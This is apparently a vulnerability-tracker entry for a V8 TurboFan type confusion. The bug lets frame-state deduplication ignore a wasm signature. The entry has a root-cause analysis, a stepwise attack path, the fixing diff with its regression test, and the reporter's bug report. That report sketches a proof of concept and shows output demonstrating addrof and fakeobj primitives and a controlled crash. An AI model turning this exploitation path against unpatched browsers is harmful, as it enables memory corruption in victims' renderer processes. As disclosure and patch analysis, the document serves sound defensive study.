High patch-now ✔︎ verified CVSS 8.8 chrome Type Confusion 📄 Reporter bug report 🔧 Commit mapped

Overview

High
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactType Confusion in Turbofan
DescriptionType Confusion in Turbofan
ComponentTurbofan
Sub-componentCompiler
Bug ClassType Confusion
Action tierpatch-now — corruption primitive, web-reachable in default config (confirmed) — upheld by independent review by AI
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Independent review by AIConfirmed
A second, independent AI reviewer (not a human) re-derived this analysis from the fixing commit and the vendor advisory, looking for errors.
Tracker497404188
Fix commit07398289d921 (v8/v8) +112/-3
CWECWE-843 (Type confusion)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
CreditedProject WhatForLunch (@pjwhatforlunch)
Reported2026-03-29 (per vendor advisory)
Fix landed2026-03-31 (public git)
Disclosed2026-04-15
Patch gap15 days — fix public in source before the advisory

Background

`FrameStateFunctionInfo`
TurboFan metadata attached to a FrameState node describing the function whose frame the deoptimizer must reconstruct, comparable via operator== for node deduplication.
`JSToWasmFrameStateFunctionInfo`
a subclass of FrameStateFunctionInfo that adds a wasm signature_ field, used for kJSToWasmBuiltinContinuation frames that resume from a JS-to-Wasm call.
CSE/GVN
Common Subexpression Elimination / Global Value Numbering, TurboFan passes that merge nodes deemed equal by operator==, so an incomplete equality check causes semantically distinct nodes to be collapsed.
Lazy deopt
deferred deoptimization where the deoptimizer later materializes stack frames from a FrameState, using its FrameStateFunctionInfo (and, for wasm continuations, its signature()) to decide result types.

Root Cause Analysis

bool operator==(FrameStateFunctionInfo const&, FrameStateFunctionInfo const&) in src/compiler/frame-states.cc compared the base-class fields (type(), wasm_function_index(), and the common counts) but never inspected the signature_ field that only exists on JSToWasmFrameStateFunctionInfo. Because the comparison operated through base-class references, two kJSToWasmBuiltinContinuation frame states with identical parameter signatures but different return types (e.g. externref vs i64) compared equal, so CSE/GVN merged their FrameState nodes. When a foo(o) call later took a lazy deopt, the deoptimizer materialized the JS-to-Wasm continuation frame using the surviving node’s signature and thus the wrong return type, reading a tagged reference as an untagged i64 (or vice versa) — a type confusion.

The fix adds an explicit signature() comparison guarded by type() == FrameStateType::kJSToWasmBuiltinContinuation, and deletes the copy constructor and copy-assignment on FrameStateFunctionInfo so a derived object can no longer be sliced through a base reference.

Key insight
The single mistake is comparing FrameStateFunctionInfo objects only by their base-class fields, ignoring the subclass-only wasm signature_, so distinct JS-to-Wasm continuations were treated as identical; the fix restores the equality invariant by comparing signature() for kJSToWasmBuiltinContinuation frames and forbidding slicing.

Attack Path

  1. Define two wasm getters Install two exported wasm functions with matching parameter signatures but different return types (return_ref returning externref, return_i64 returning i64) as property getters on separate prototypes.
  2. Train the polymorphic access Repeatedly call foo(o) reading o.x with both receiver types so TurboFan optimizes it and emits kJSToWasmBuiltinContinuation frame states for each getter.
  3. Trigger the faulty merge CSE/GVN collapses the two continuation frame states because operator== ignores the differing wasm signature_, leaving a single node with one signature.
  4. Force a lazy deopt Mutate a prototype after optimization to invalidate assumptions, so the next foo(obj_ref) call deoptimizes at the JS-to-Wasm continuation point.
  5. Achieve type confusion The deoptimizer materializes the result using the merged node’s wrong signature, reinterpreting a tagged externref as an untagged i64 (or vice versa), yielding a controlled type-confused value.

Impact Assessment

An attacker running crafted JS plus WebAssembly in the renderer gains a type confusion in optimized code, letting a tagged reference be read as a raw integer or an integer as a pointer — a primitive that typically bootstraps to arbitrary read/write and renderer-process memory corruption. It executes in the renderer sandbox and requires that the victim run attacker JS that reaches TurboFan optimization and a subsequent lazy deopt over the merged JS-to-Wasm continuation frame. Preconditions include WebAssembly being enabled (V8_ENABLE_WEBASSEMBLY) and TurboFan tiering up the polymorphic accessor.

Changed Functions

FunctionChangeNotes
bytecode_array_
src/compiler/frame-states.h
modified
if
test/mjsunit/regress/wasm/regress-497404188.js
modified
for
test/mjsunit/regress/wasm/regress-497404188.js
modified

Files Changed

  • src/compiler/frame-states.cc
  • src/compiler/frame-states.h
  • test/mjsunit/regress/wasm/regress-497404188.js

Audit Directions

  • Subclass fields in base-reference equality
    Audit every operator==/hashing routine that takes objects by base-class reference for subclass-only fields (like signature_) that are silently dropped from the comparison and could let deduplication merge distinct objects.
  • CSE/GVN merge correctness
    Review other FrameState and metadata node types deduplicated by CSE/GVN to confirm their equality captures all fields the deoptimizer later reads when materializing frames.
  • Slicing of polymorphic value types
    Look for value-type hierarchies stored or compared by value/base reference that lack deleted copy operations, since implicit copies can drop derived state and reintroduce the same class of confusion.
From 07398289d921facaa713a6f2d1c411ec1ae1f695 Mon Sep 17 00:00:00 2001
From: Paolo Severini <paolosev@microsoft.com>
Date: Tue, 31 Mar 2026 13:05:12 +0200
Subject: [PATCH] [compiler] Fix FrameStateFunctionInfo comparison for JS-to-Wasm frames

The equality operator for FrameStateFunctionInfo did not compare the
wasm signature field in JSToWasmFrameStateFunctionInfo. This could
cause CSE to incorrectly merge FrameState nodes with different wasm
signatures, leading to the deoptimizer using the wrong return type
when materializing a JS-to-Wasm builtin continuation frame.

Bug: 497404188
Change-Id: I671cda5784089dd9875d90c5f48e8580cb5fa697
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7709449
Reviewed-by: Matthias Liedtke <mliedtke@chromium.org>
Reviewed-by: Daniel Lehmann <dlehmann@chromium.org>
Commit-Queue: Matthias Liedtke <mliedtke@chromium.org>
Cr-Commit-Position: refs/heads/main@{#106175}
---

diff --git a/src/compiler/frame-states.cc b/src/compiler/frame-states.cc
index 7c15107..5312f07 100644
--- a/src/compiler/frame-states.cc
+++ b/src/compiler/frame-states.cc
@@ -37,11 +37,12 @@
 bool operator==(FrameStateFunctionInfo const& lhs,
                 FrameStateFunctionInfo const& rhs) {
 #if V8_HOST_ARCH_X64
-// If this static_assert fails, then you've probably added a new field to
-// FrameStateFunctionInfo. Make sure to take it into account in this equality
-// function, and update the static_assert.
+// If these static_asserts fail, then you've probably added a new field to
+// FrameStateFunctionInfo or JSToWasmFrameStateFunctionInfo. Make sure to
+// take it into account in this function, and update the static_assert.
 #if V8_ENABLE_WEBASSEMBLY
   static_assert(sizeof(FrameStateFunctionInfo) == 40);
+  static_assert(sizeof(JSToWasmFrameStateFunctionInfo) == 48);
 #else
   static_assert(sizeof(FrameStateFunctionInfo) == 32);
 #endif
@@ -52,6 +53,18 @@
       lhs.wasm_function_index() != rhs.wasm_function_index()) {
     return false;
   }
+
+  // JSToWasmFrameStateFunctionInfo has an additional signature_ field.
+  // Two frame states with different wasm signatures must not compare equal,
+  // otherwise CSE/GVN can merge them and the deoptimizer will use the wrong
+  // signature to materialize the continuation frame.
+  if (lhs.type() == FrameStateType::kJSToWasmBuiltinContinuation &&
+      rhs.type() == FrameStateType::kJSToWasmBuiltinContinuation) {
+    if (static_cast<const JSToWasmFrameStateFunctionInfo&>(lhs).signature() !=
+        static_cast<const JSToWasmFrameStateFunctionInfo&>(rhs).signature()) {
+      return false;
+    }
+  }
 #endif
 
   return lhs.type() == rhs.type() &&
diff --git a/src/compiler/frame-states.h b/src/compiler/frame-states.h
index 1faaa59..e17798a 100644
--- a/src/compiler/frame-states.h
+++ b/src/compiler/frame-states.h
@@ -108,6 +108,10 @@
         bytecode_array_(bytecode_array) {
   }
 
+  // Prevent slicing when copying through base-class references.
+  FrameStateFunctionInfo(const FrameStateFunctionInfo&) = delete;
+  FrameStateFunctionInfo& operator=(const FrameStateFunctionInfo&) = delete;
+
   int local_count() const { return local_count_; }
   uint16_t parameter_count() const { return parameter_count_; }
   uint16_t parameter_count_without_receiver() const {
diff --git a/test/mjsunit/regress/wasm/regress-497404188.js b/test/mjsunit/regress/wasm/regress-497404188.js
new file mode 100644
index 0000000..54992bd
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-497404188.js
@@ -0,0 +1,92 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --turbofan --no-maglev
+
+// Regression test for a type confusion in the deoptimizer caused by missing
+// signature comparison in FrameStateFunctionInfo::operator==.
+// Two wasm functions with different return types (externref vs i64) but
+// identical parameter signatures can have their JSToWasmBuiltinContinuation
+// frame states merged by CSE. On lazy deopt, the deoptimizer then uses the
+// wrong signature to materialize the result, reading a tagged reference as
+// an untagged i64 or vice versa.
+
+d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');
+
+function makeInstance(callback) {
+  const builder = new WasmModuleBuilder();
+  const callback_index = builder.addImport('env', 'callback', kSig_v_v);
+
+  // Mutable Wasm globals to hold the return values for the two functions. The
+  // callback can modify these to trigger deopt at the right moment and test
+  // that the correct type is materialized after deopt.
+  const g_ref =
+      builder.addGlobal(kWasmExternRef, true, false).exportAs('g_ref');
+  const g_i64 = builder.addGlobal(kWasmI64, true, false).exportAs('g_i64');
+
+  // Returns an externref global after calling the callback (which may trigger
+  // deopt).
+  builder.addFunction('return_ref', kSig_r_v)
+      .addBody([
+        kExprCallFunction, callback_index,
+        kExprGlobalGet, g_ref.index,
+      ])
+      .exportFunc();
+
+  // Returns an i64 global after calling the callback (which may trigger deopt).
+  builder.addFunction('return_i64', kSig_l_v)
+      .addBody([
+        kExprCallFunction, callback_index,
+        kExprGlobalGet, g_i64.index,
+      ])
+      .exportFunc();
+
+  return builder.instantiate({env: {callback}}).exports;
+}
+
+(function testNoTypeConfusionOnLazyDeopt() {
+  let arm_deopt = false;
+
+  function ProtoForI64() {}
+  function ProtoForRef() {}
+
+  const exports_ = makeInstance(() => {
+    // Trigger deopt by changing the prototype after optimization.
+    if (arm_deopt) {
+      ProtoForRef.prototype.deopt_marker = 1;
+    }
+  });
+
+  // Install wasm getters with different return types on different prototypes.
+  Object.defineProperty(
+      ProtoForI64.prototype, 'x', {get: exports_.return_i64});
+  Object.defineProperty(
+      ProtoForRef.prototype, 'x', {get: exports_.return_ref});
+
+  function foo(o) {
+    return o.x;
+  }
+
+  const obj_i64 = new ProtoForI64();
+  const obj_ref = new ProtoForRef();
+
+  const sentinel = {tag: 'sentinel'};
+  exports_.g_ref.value = sentinel;
+  exports_.g_i64.value = 42n;
+
+  // Train the function with both receiver types.
+  %PrepareFunctionForOptimization(foo);
+  for (let i = 0; i < 20; ++i) {
+    foo(obj_i64);
+    foo(obj_ref);
+  }
+
+  // Optimize and run once without deopt.
+  %OptimizeFunctionOnNextCall(foo);
+  assertEquals(42n, foo(obj_i64));
+
+  arm_deopt = true;
+  const result = foo(obj_ref);
+  assertEquals(sentinel, result);
+})();
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/regress/wasm/regress-497404188.js b/test/mjsunit/regress/wasm/regress-497404188.js
new file mode 100644
index 0000000..54992bd
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-497404188.js
@@ -0,0 +1,92 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --turbofan --no-maglev
+
+// Regression test for a type confusion in the deoptimizer caused by missing
+// signature comparison in FrameStateFunctionInfo::operator==.
+// Two wasm functions with different return types (externref vs i64) but
+// identical parameter signatures can have their JSToWasmBuiltinContinuation
+// frame states merged by CSE. On lazy deopt, the deoptimizer then uses the
+// wrong signature to materialize the result, reading a tagged reference as
+// an untagged i64 or vice versa.
+
+d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');
+
+function makeInstance(callback) {
+  const builder = new WasmModuleBuilder();
+  const callback_index = builder.addImport('env', 'callback', kSig_v_v);
+
+  // Mutable Wasm globals to hold the return values for the two functions. The
+  // callback can modify these to trigger deopt at the right moment and test
+  // that the correct type is materialized after deopt.
+  const g_ref =
+      builder.addGlobal(kWasmExternRef, true, false).exportAs('g_ref');
+  const g_i64 = builder.addGlobal(kWasmI64, true, false).exportAs('g_i64');
+
+  // Returns an externref global after calling the callback (which may trigger
+  // deopt).
+  builder.addFunction('return_ref', kSig_r_v)
+      .addBody([
+        kExprCallFunction, callback_index,
+        kExprGlobalGet, g_ref.index,
+      ])
+      .exportFunc();
+
+  // Returns an i64 global after calling the callback (which may trigger deopt).
+  builder.addFunction('return_i64', kSig_l_v)
+      .addBody([
+        kExprCallFunction, callback_index,
+        kExprGlobalGet, g_i64.index,
+      ])
+      .exportFunc();
+
+  return builder.instantiate({env: {callback}}).exports;
+}
+
+(function testNoTypeConfusionOnLazyDeopt() {
+  let arm_deopt = false;
+
+  function ProtoForI64() {}
+  function ProtoForRef() {}
+
+  const exports_ = makeInstance(() => {
+    // Trigger deopt by changing the prototype after optimization.
+    if (arm_deopt) {
+      ProtoForRef.prototype.deopt_marker = 1;
+    }
+  });
+
+  // Install wasm getters with different return types on different prototypes.
+  Object.defineProperty(
+      ProtoForI64.prototype, 'x', {get: exports_.return_i64});
+  Object.defineProperty(
+      ProtoForRef.prototype, 'x', {get: exports_.return_ref});
+
+  function foo(o) {
+    return o.x;
+  }
+
+  const obj_i64 = new ProtoForI64();
+  const obj_ref = new ProtoForRef();
+
+  const sentinel = {tag: 'sentinel'};
+  exports_.g_ref.value = sentinel;
+  exports_.g_i64.value = 42n;
+
+  // Train the function with both receiver types.
+  %PrepareFunctionForOptimization(foo);
+  for (let i = 0; i < 20; ++i) {
+    foo(obj_i64);
+    foo(obj_ref);
+  }
+
+  // Optimize and run once without deopt.
+  %OptimizeFunctionOnNextCall(foo);
+  assertEquals(42n, foo(obj_i64));
+
+  arm_deopt = true;
+  const result = foo(obj_ref);
+  assertEquals(sentinel, result);
+})();
Loading diff…

Original Bug Report

reported by pj...@gmail.com

FrameState: polymorphic Wasm accessor lazy deopt type confusion lead to in-sandbox corruption

Security Bug

Important: Please do not change the component of this bug manually.

Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md

Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs

Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp

NOTE: Security bugs are normally made public once a fix has been widely deployed.


VULNERABILITY DETAILS

FrameState: polymorphic Wasm accessor lazy deopt type confusion lead to in-sandbox corruption and potential heap sandbox escape

FrameStateFunctionInfo extends FrameStateFunctionInfo with a WebAssembly-only subclass:

class JSToWasmFrameStateFunctionInfo : public FrameStateFunctionInfo {
 public:
  // ...
  const wasm::CanonicalSig* signature() const { return signature_; }

 private:
  const wasm::CanonicalSig* const signature_;
};

That signature is the only place where a JS_TO_WASM_BUILTIN_CONTINUATION_FRAME remembers how the deoptimizer must decode the raw Wasm return value. The current equality operator ignores that field completely:

bool operator==(FrameStateFunctionInfo const& lhs,
                FrameStateFunctionInfo const& rhs) {
  // ...
  return lhs.type() == rhs.type() &&
         lhs.parameter_count() == rhs.parameter_count() &&
         lhs.max_arguments() == rhs.max_arguments() &&
         lhs.local_count() == rhs.local_count() &&
         lhs.shared_info().equals(rhs.shared_info()) &&
         lhs.bytecode_array().equals(rhs.bytecode_array());
}

When it builds FrameState nodes for JS-to-Wasm lazy deopts from that incomplete key:

FrameState CreateBuiltinContinuationFrameStateCommon(
    JSGraph* jsgraph, FrameStateType frame_type, Builtin name, Node* closure,
    Node* context, Node* const* parameters, int parameter_count,
    Node* outer_frame_state,
    Handle<SharedFunctionInfo> shared = Handle<SharedFunctionInfo>(),
    const wasm::CanonicalSig* signature = nullptr) {
  TFGraph* const graph = jsgraph->graph();
  CommonOperatorBuilder* const common = jsgraph->common();

  const Operator* op_param =
      common->StateValues(parameter_count, SparseInputMask::Dense());
  Node* params_node = graph->NewNode(op_param, parameter_count, parameters);

  BytecodeOffset bailout_id = Builtins::GetContinuationBytecodeOffset(name);
#if V8_ENABLE_WEBASSEMBLY
  const FrameStateFunctionInfo* state_info =
      signature ? common->CreateJSToWasmFrameStateFunctionInfo(
                      frame_type, parameter_count, 0, shared, signature)
                : common->CreateFrameStateFunctionInfo(
                      frame_type, parameter_count, 0, 0, shared, {});
#else
  DCHECK_NULL(signature);
  const FrameStateFunctionInfo* state_info =
      common->CreateFrameStateFunctionInfo(frame_type, parameter_count, 0, 0,
                                           shared, {});
#endif  // V8_ENABLE_WEBASSEMBLY

  const Operator* op = common->FrameState(
      bailout_id, OutputFrameStateCombine::Ignore(), state_info);
  return FrameState(graph->NewNode(op, params_node, jsgraph->EmptyStateValues(),
                                   jsgraph->EmptyStateValues(), context,
                                   closure, outer_frame_state));
}

CommonOperatorBuilder::FrameState marks the operator as Operator::kPure, and ValueNumberingReducer merges pure nodes by NodeProperties::Equals. NodeProperties::Equals compares the operator and all inputs. For FrameState operators the operator comparison reaches FrameStateInfo, which reaches the incomplete FrameStateFunctionInfo equality above. As a result, two JS-to-Wasm continuation frame states with different Wasm signatures are treated as equal whenever all other fields and inputs match.

VERSION

Chrome Version: ed1784dd41c51578eb6547f71ff18af357bda2d8 (Sat Mar 28 2026) It should affect the latest stable release at the time of this report.

REPRODUCTION CASE

Full proof-of-concept is attached.

Here we would like to briefly describe the idea of the PoC. Consider the following JavaScript code:

const instance = makeModuleWithMutableGlobals();
const {setRef, rr, setI, ri} = instance.exports;

setRef({ blah: 0x12345678 });
setI(0x12345679);

function A() {}
function B() {}
Object.defineProperty(A.prototype, "x", {get: rr});
Object.defineProperty(B.prototype, "x", {get: ri});

function foo(o) {
    return o.x;
}

After warming foo on both A and B, the optimized graph contains two different JS_TO_WASM_BUILTIN_CONTINUATION_FRAME nodes before early optimization and only one afterwards. A trace on the current tip shows exactly that:

#59:FrameState[JS_TO_WASM_BUILTIN_CONTINUATION_FRAME, 787, Ignore](..., #17:FrameState)
#125:FrameState[JS_TO_WASM_BUILTIN_CONTINUATION_FRAME, 787, Ignore](..., #17:FrameState)
----- Graph after V8.TFEarlyOptimization -----
#166:Call[WasmFunctionIndirect:wasm-call:r1s0i2f1](..., #59:FrameState, ...)

Before TFEarlyOptimization, the i32 branch uses #125. After value numbering, the i32 branch call #166 uses #59, which is the continuation frame state that was originally created for the externref branch. The two states were merged only because signature_ was omitted from FrameStateFunctionInfo equality.

That merged frame state directly changes how deoptimization decodes the raw return value:

  1. InstructionSelector::GetFrameStateDescriptorInternal downcasts the function info to JSToWasmFrameStateFunctionInfo and stores function_info->signature() in JSToWasmFrameStateDescriptor.
  2. JSToWasmFrameStateDescriptor computes return_kind_ = wasm::WasmReturnTypeFromSignature(wasm_signature).
  3. CodeGenerator::BuildTranslationForFrameStateDescriptor serializes that return_kind.
  4. Deoptimizer::TranslatedValueForWasmReturnKind reconstructs the return value from machine registers according to that kind.

In our proof-of-concept, we would like to demonstrate a type confusion between externref and i64, which allows us to construct fakeobj and addrof primitives immediately.

Please run with:

./out.gn/x64.release/d8 --allow-natives-syntax exp.js

the expected output will be:

[+] test addrof: 0x00000e9a010b52e1
[+] now compare with the expected value 
DebugPrint: 0xe9a010b52e1: [JS_OBJECT_TYPE]
 - map: 0x0e9a010350e5 <Map[16](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x0e9a01005b55 <Object map = 0xe9a01004ecd>
 - elements: 0x0e9a000007e5 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x0e9a000007e5 <FixedArray[0]>
 - All own properties (excluding elements): {
    0xe9a0101e381: [String] in OldSpace: #blah: 25788785 (const data field 3, in-obj, attrs: [WEC])
 }
0xe9a010350e5: [Map] in OldSpace
 - map: 0x0e9a01004951 <MetaMap (0x0e9a010049a1 <NativeContext[307]>)>
 - type: JS_OBJECT_TYPE
 - instance size: 16
 - inobject properties: 1
 - unused property fields: 0
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - stable_map
 - back pointer: 0x0e9a01030fc5 <Map[16](HOLEY_ELEMENTS)>
 - prototype_validity_cell: 0x0e9a00000af1 <Cell value= [cleared]>
 - instance descriptors (own) #1: 0x0e9a010b52c1 <DescriptorArray[1]>
 - prototype: 0x0e9a01005b55 <Object map = 0xe9a01004ecd>
 - constructor: 0x0e9a010053e9 <JSFunction Object (sfi = 0xe9a001d6ef1)>
 - dependent code: 0x0e9a000007f5 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

[+] fake_test: [object Object]
[+] fake_test.blah = 0x0000000025788785
[+] now ready to crash
Received signal 11 SEGV_MAPERR 000041414140

==== C stack trace ===============================

./out.gn/x64.release/d8(_ZN2v84base5debug10StackTraceC1Ev+0x1e) [0x5612a4fed29e]
./out.gn/x64.release/d8(+0x30271ef) [0x5612a4fed1ef]
/usr/lib/libc.so.6(+0x3e2d0) [0x7fe75c2952d0]
./out.gn/x64.release/d8(_ZNK2v88internal15TranslatedValue11GetRawValueEv+0x84) [0x5612a389fa94]
./out.gn/x64.release/d8(_ZN2v88internal11FrameWriter19PushTranslatedValueERKNS0_15TranslatedFrame8iteratorEPKc+0x20) [0x5612a389a000]
./out.gn/x64.release/d8(_ZN2v88internal11Deoptimizer28DoComputeBuiltinContinuationEPNS0_15TranslatedFrameEiNS0_23BuiltinContinuationModeE+0x7fe) [0x5612a3898eae]
./out.gn/x64.release/d8(_ZN2v88internal11Deoptimizer21DoComputeOutputFramesEv+0x41d) [0x5612a3892f8d]
./out.gn/x64.release/d8(_ZN2v88internal11Deoptimizer19ComputeOutputFramesEPS1_+0xe) [0x5612a3892b4e]
./out.gn/x64.release/d8(+0x2e006c8) [0x5612a4dc66c8]
[end of stack trace]
[1]    2918607 segmentation fault (core dumped)  ./out.gn/x64.release/d8  

d8 was compiled with the following args.gn:

dcheck_always_on = false
is_debug = false
target_cpu = "x64"
is_component_build = false
target_cpu = "x64"
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_sandbox = false
dcheck_always_on = false

Please include a demonstration of the security bug, such as an attached HTML or binary file that reproduces the bug when loaded in Chrome. PLEASE make the file as small as possible and remove any content not required to demonstrate the bug, or any personal or confidential information.

Please attach files directly, not in zip or other archive formats, and if you’ve created a demonstration site please also attach the files needed to reproduce the demonstration locally.

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION

Type of crash: Arbitrary memory access

CREDIT INFORMATION

Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited?

Reporter credit: Project WhatForLunch (@pjwhatforlunch)

View on issue tracker